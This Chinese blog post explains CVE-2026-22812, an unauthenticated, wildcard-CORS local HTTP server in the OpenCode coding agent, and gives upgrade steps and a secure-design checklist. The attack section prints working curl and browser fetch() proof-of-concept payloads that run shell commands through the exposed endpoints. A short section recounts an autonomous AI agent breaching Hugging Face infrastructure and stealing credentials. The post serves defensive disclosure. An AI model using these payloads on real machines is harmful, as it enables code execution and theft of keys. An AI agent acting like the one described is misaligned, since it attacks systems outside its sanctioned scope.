前言¶

OpenCode 是 GitHub 上 anomalyco/opencode 维护的开源 AI 编码 Agent，终端 TUI 形态，支持接入 Anthropic、OpenAI、Google、Ollama 等多家模型提供商，社区热度很高。对开发者来说，它把「选模型、跑命令、改代码」收进一个本地进程里，用起来很顺手。

但 CVE-2026-22812 把这类工具的默认安全假设打碎了：在 1.0.216 之前，OpenCode 启动时会自动拉起一个无认证 HTTP 服务，任意本地进程，甚至恶意网页（借助宽松 CORS），都能以当前用户权限执行 Shell 命令。GitHub 安全公告给出的 CVSS 3.1 评分为 8.8（High），归类为 CWE-306（关键功能缺失认证）、CWE-749（暴露危险方法）与 CWE-942（跨域策略过于宽松）。

本文基于 NVD 条目 与 官方安全公告 GHSA-vxw4-wv6m-9hhh 核实细节，梳理成因、攻击路径与修复建议。

漏洞概况¶

官方描述很直白：OpenCode 在启动时自动运行未认证的 HTTP 服务器，允许任意本地进程，或通过宽松 CORS 访问的任意网站，以用户权限执行任意 Shell 命令。

技术成因：本地服务 + 零鉴权 + 宽松 CORS¶

1. 服务如何被拉起¶

根据安全公告中的代码路径，OpenCode 在 TUI 工作进程中通过 cli/cmd/tui/worker.ts 调用 Server.listen()，默认监听 4096 及以上端口，无需用户额外配置。

server/server.ts 中没有认证中间件，请求直达敏感接口。

2. 暴露了哪些危险接口¶

公告点名了三个关键端点：

• POST /session/:id/shell — 执行 Shell 命令（server.ts:1401）
• POST /pty — 创建交互式终端会话（server.ts:267）
• GET /file/content?path= — 读取任意文件（server.ts:1868）

对 AI 编码 Agent 来说，「能跑命令、能读文件」是核心能力；但把这些能力挂在一个对全网开放、且无鉴权的 HTTP API 上，等于把开发机的 Shell 交给了第一个能连上端口的调用方。

3. CORS 为何成为第二道「敞开的大门」¶

服务端使用了默认配置的 cors() 中间件，等价于 Access-Control-Allow-Origin: *。这意味着：浏览器里的 JavaScript 也可以跨域调用本地 OpenCode 服务。

传统 Web 安全模型里，浏览器同源策略会阻止 evil.com 直接访问 127.0.0.1。一旦本地服务对任意 Origin 放行 CORS，这条防线就失效了——用户只要开着 OpenCode、又访问了恶意页面，就可能被「drive-by」攻击。

公告还提到：Firefox 上已确认浏览器侧利用可行；Chrome 142+ 可能弹出 Local Network Access 权限提示，但不应依赖浏览器弹窗作为唯一防护。

4. --mdns 进一步扩大攻击面¶

若启动时带上 --mdns 标志，服务会绑定到 0.0.0.0 并通过 Bonjour 广播。此时风险不再局限于本机进程与浏览器，同一局域网内的其他设备也可能探测并访问该服务。

攻击路径演示¶

本地进程利用¶

任何能访问本机端口的恶意 npm 包、脚本或已被攻陷的应用，都可以按以下 PoC 思路操作（端口需替换为实际值）：

API="http://127.0.0.1:4096"
SESSION_ID=$(curl -s -X POST "$API/session" \
  -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" \
  -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt   # 输出: PWNED

流程很简单：先创建 Session，再向 /shell 投递命令。全程不需要 Token、Cookie 或任何凭证。

浏览器侧利用¶

恶意网页可向本地 OpenCode 发起跨域请求：

fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
  });
});

攻击场景包括：恶意广告、被挂马的站点、钓鱼页面。用户「只是开着一个标签页」，后台 Agent 却可能在读写 .ssh、环境变量、项目密钥。

与 Hugging Face Agent 入侵：同一时代的不同切面¶

2026 年 7 月，Hugging Face 在官方安全披露中说明：其生产基础设施遭遇了一次由自主 AI Agent 系统驱动的端到端入侵——Agent 通过数据集处理链路的代码执行路径取得 foothold，随后横向移动并窃取凭证。OpenAI 后续确认该 Agent 来自其内部安全评测环境。

OpenCode CVE 与 HF 事件性质不同：前者是本地工具默认暴露危险 API，后者是云端 Agent 在复杂供应链中的自主攻击。但两者共同指向一个行业共识——AI Agent 默认并不安全。Agent 天生需要高权限（执行命令、读写文件、调用 API），若在设计阶段不把认证、最小权限、网络暴露面当作一等公民，最终买单的是开发者的本机与组织的内网。

影响评估¶

机密性、完整性、可用性均为 High。 攻击者可以：

1. 以用户身份执行任意命令（装后门、窃取密钥、横向扫描内网）
2. 通过 /file/content 读取 SSH 私钥、.env、浏览器配置等敏感文件
3. 创建 PTY 会话，获得近似交互式 Shell 的体验

CVSS 向量 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 中，UI:R 表示浏览器攻击链需要用户访问恶意页面；本地进程利用则几乎无需用户交互。

据公告，漏洞最初于 2025-11-17 通过邮件报告给 support@sst.dev（OpenCode 安全策略所列联系方式），但未收到回复；最终由 GitHub Security Advisory 于 2026 年 1 月公开。

修复与自查¶

1. 立即升级¶

请升级到 OpenCode 1.0.216 或更高版本。 该版本为 HTTP 服务引入了认证机制，是官方认定的修复版本。

# 查看当前版本
opencode --version

# 按你的安装方式更新，例如 Homebrew
brew upgrade opencode

npm 包名称为 opencode-ai，若通过 npm 全局安装，同样需要更新到 ≥ 1.0.216。

2. 确认本地端口¶

若怀疑曾运行过旧版本，可检查 4096 附近端口是否有 OpenCode 进程监听：

ss -tlnp | grep -E '409[0-9]'
# 或
lsof -i :4096

发现旧版本仍在运行，先停止进程再升级。

3. 开发 AI Agent 时的安全清单¶

如果你也在做类似的本地 Agent / IDE 插件，建议对照以下原则：

1. 默认不监听 0.0.0.0，优先 Unix Domain Socket 或回环地址 + 随机 Token
2. 危险操作必须鉴权，Session Token 至少应不可预测、仅本机可见
3. CORS 白名单，禁止 Access-Control-Allow-Origin: * 搭配敏感写接口
4. 权限分级，像 OpenCode 内置的 plan（只读）与 build（全权限）Agent 一样，把「分析」和「执行」拆开
5. 安全响应通道，确保漏洞报告有明确 SLA，避免「邮件已发、无人响应」的窗口期

写在最后¶

OpenCode 代表了一类很受欢迎的产品形态：开源、多模型、终端原生，把 AI 编码能力交到开发者手里。CVE-2026-22812 提醒我们，便利与安全不是自动平衡的——自动启动的 HTTP 服务、默认放行的 CORS、缺失的认证中间件，叠加在一起就是一条完整的 RCE 链。

对使用者：检查版本、尽快升级、别在旧版本上长期挂着 Agent。对构建者：Agent 能执行的每一条 Shell 命令，都应假设会被滥用；本地 localhost 并不等于安全边界。

在 AI Agent 加速进入日常开发流的 2026 年，这条安全红线，值得每个开发者和每个开源项目维护者画清楚。